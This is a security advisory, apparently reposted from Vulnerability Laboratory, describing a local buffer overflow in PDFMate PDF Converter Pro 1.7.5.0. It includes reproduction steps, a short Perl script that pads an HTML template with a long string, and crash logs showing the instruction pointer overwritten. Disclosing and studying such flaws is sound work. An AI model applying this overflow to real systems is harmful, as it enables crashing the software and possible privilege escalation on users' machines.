PDFMate PDF Converter Pro 1.7.5.0 Buffer Overflow

2017-02-22T00:00:00
ID PACKETSTORM:141221
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2017-02-22T00:00:00

Description

                                        
                                            `Document Title:  
===============  
PDFMate PDF Converter Pro 1.7.5.0 - Buffer Overflow Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2029  
  
  
Release Date:  
=============  
2017-01-30  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2029  
  
  
Common Vulnerability Scoring System:  
====================================  
5.9  
  
  
Product & Service Introduction:  
===============================  
PDFMate PDF Converter Professional is a comprehensive PDF conversion application. It can also be used as PDF splitter and PDF Merger.  
PDFMate PDF Converter is easy to use with simple and clear program interface.  
  
( Copy of the Vendor Homepage: http://www.pdfmate.com/ )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a local buffer overflow vulnerability in the PDFMate PDF Converter Professional v1.7.5.0 software.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2017-01-30: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
PDFMate  
Product: PDF Converter Pro & Free - Software 1.7.5.0  
  
  
Exploitation Technique:  
=======================  
Local  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A local buffer overflow vulnerability has been discovered in the official PDFMate PDF Converter Professional v1.7.5.0 software.  
The local vulnerability allows local attackers to overwrite the registers to compromise the local software system process.  
  
The `Convert_Pro.dll` file in the `C:Program FilesAnvsoftPDFMate PDF Converter Professional` path is vulnerable to a local   
buffer overflow. In case of a `html` file convert the `convert_pro` dynamic link library is used to create the file in the   
last instance with the already set conditions. Local attackers with restricted system privileges are able to include large   
unicode strings to the html template files of the `htmltemplate` folder. Local attackers are finally able to exploit the   
process by an overwrite of the registers to gain higher system access privileges.  
  
The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 5.9.  
Exploitation of the vulnerability requires a low privilege or restricted system user account without user interaction.   
Successful exploitation of the vulnerability results in process manipulation or compromise of the affected computer system.  
  
Vulnerable Module(s):  
[+] Convert_Pro.dll  
  
  
Proof of Concept (PoC):  
=======================  
The vulnerability can be exploited by local attackers without user interaction and with low system user account.  
For security demonstration or to reproduce the issue follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce ...  
1. Install the software  
2. Move into the htmltemplate path  
3. Modify the index.html main template file that is used to generate the html file of a pdf  
4. Include a large unicode payload inside of the file header and save  
5. Start the software (PDFMatePro.exe)  
6. Add a random pdf file and choose at buttom the html function  
7. Click the convert button  
8. The software process crashs because of the processing the large unicode payload via Convert_Pro.dll  
9. Successful reproduce of the local buffer overflow vulnerability!  
  
  
PoC: Exploitation  
#!/usr/bin/perl  
my $Buff = "x41" x 4141;  
open(MYFILE,'>>index.html');  
print MYFILE $Buff;  
close(MYFILE);  
print "Replace Index Template File";  
  
  
PoC: Vulnerable Source (Template File)  
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="zh-CN">  
<head>  
<title>[LARGE UNICODE PAYLOAD AAAAAAAAAA...+]</title>  
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>  
<script type="text/javascript" src="./html/index.js"> </script>  
</head>  
<frameset rows="37,*" border="0" framespacing="1" frameborder="0">  
<frame name="toolbarWin" src="./html/toolbar.html" noresize="noresize" scrolling="no" />  
<frameset cols="134,*" id="mainframe" border="0" framespacing="1" frameborder="0">  
<frameset rows="30,*" border="0" framespacing="1" frameborder="0">  
<frame name="navorbmimg" src="./html/navimg.html" noresize="noresize" scrolling="no" />  
<frame name="navorbm" src="./html/navigation.html" noresize="noresize" />  
<frame src=a>  
</frameset>  
<frame name="content" src="./html/P1.html" noresize="noresize" />  
</frameset>  
<noframes>  
<body>  
<p>This page includes frames, and your browser does not work with it.</p>  
</body>  
</noframes>  
</frameset>  
</html>  
  
Note: Do not modify the file content outside the title content because of the template is   
checked by the software and is required to run functional.  
  
  
--- System Error Event Logs ---  
EventType=BEX  
EventTime=131292452808589892  
ReportType=2  
Consent=1  
UploadTime=131292452809373704  
ReportIdentifier=88fcfb1a-ddbd-11e6-8a7d-ebe9983f0e19  
IntegratorReportIdentifier=735fd6bc-fef1-43ea-ae50-011d10d60eff  
WOW64=1  
NsAppName=PDFMatePro.exe  
AppSessionGuid=00001598-0004-005a-0581-d452c971d201  
TargetAppId=W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!PDFMatePro.exe  
TargetAppVer=2015//03//06:06:34:59!7b77cc!PDFMatePro.exe  
BootId=4294967295  
Response.BucketId=046d5833e2cfeab779378428212916e8  
Response.BucketTable=1  
Response.LegacyBucketId=108693211846  
Response.type=4  
Sig[0].Name=Anwendungsname  
Sig[0].Value=PDFMatePro.exe  
Sig[1].Name=Anwendungsversion  
Sig[1].Value=1.7.5.0  
Sig[2].Name=Anwendungszeitstempel  
Sig[2].Value=54f94a93  
Sig[3].Name=Fehlermodulname  
Sig[3].Value=Convert_Pro.dll  
Sig[4].Name=Fehlermodulversion  
Sig[4].Value=0.0.0.0  
Sig[5].Name=Fehlermodulzeitstempel  
Sig[5].Value=41414141  
Sig[6].Name=Ausnahmecode  
Sig[6].Value=c0000005  
Sig[7].Name=Ausnahmeoffset  
Sig[7].Value=0003747b  
DynamicSig[1].Name=Betriebsystemversion  
DynamicSig[1].Value=10.0.14393.2.0.0.256.48  
DynamicSig[2].Name=Gebietsschema-ID  
DynamicSig[2].Value=1031  
DynamicSig[22].Name=Zusatzinformation 1  
DynamicSig[22].Value=2beb  
DynamicSig[23].Name=Zusatzinformation 2  
DynamicSig[23].Value=2beba6fb4680d73a8c78ca7c24ccdb46  
DynamicSig[24].Name=Zusatzinformation 3  
DynamicSig[24].Value=1055  
DynamicSig[25].Name=Zusatzinformation 4  
DynamicSig[25].Value=10551cc64bcfba7d2297b81a9c0092f2  
UI[2]=C:Program Files (x86)AnvsoftPDFMate PDF Converter ProfessionalPDFMatePro.exe  
UI[3]=PDFMate PDF Converter Professional funktioniert nicht mehr  
UI[4]=Windows kann online nach einer LAPsung fA1/4r das Problem suchen und versuchen, das Programm neu zu starten.  
UI[5]=Online nach einer LAPsung suchen und das Programm neu starten  
UI[6]=SpA$?ter online nach einer LAPsung suchen und das Programm schlieAen  
UI[7]=Programm schlieAen  
... ...  
State[0].Key=Transport.DoneStage1  
State[0].Value=1  
FriendlyEventName=Nicht mehr funktionsfA$?hig  
ConsentKey=APPCRASH  
AppName=PDFMate PDF Converter Professional  
AppPath=C:Program Files (x86)AnvsoftPDFMate PDF Converter ProfessionalPDFMatePro.exe  
ApplicationIdentity=C9B25CD652BEC246D013BC2528E51FBA  
MetadataHash=1654607508  
  
  
-- Exception Debug Logs ---  
Convert_Pro!HtmlBook::BuildIndex+762b  
41414141 8b10 mov edx,dword ptr [eax]  
-  
ExceptionAddress: 41414141 (Convert_Pro!HtmlBook::BuildIndex+0x000000000000762b)  
ExceptionCode: c0000005 (Access violation)  
NumberParameters: 2  
Parameter[0]: 0000000000823502  
Parameter[1]: 0000000000650072  
Attempt to read from address 0000000000650072  
-  
eax=00650072 ebx=0767efbc ecx=07830990 edx=6fc6c278 esi=0767e998 edi=07830990  
eip=41414141 esp=0767a884 ebp=41414141 iopl=0 nv up ei ng nz na pe cy  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287  
Convert_Pro!HtmlBook::BuildIndex+0x762b:  
41414141 8b10 mov edx,dword ptr [eax] ds:002b:00650072=????????  
  
  
Security Risk:  
==============  
The security risk of the local buffer overflow vulnerability in the software is estimated as high. (CVSS 5.9)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]  
  
  
Disclaimer & Information:  
=========================  
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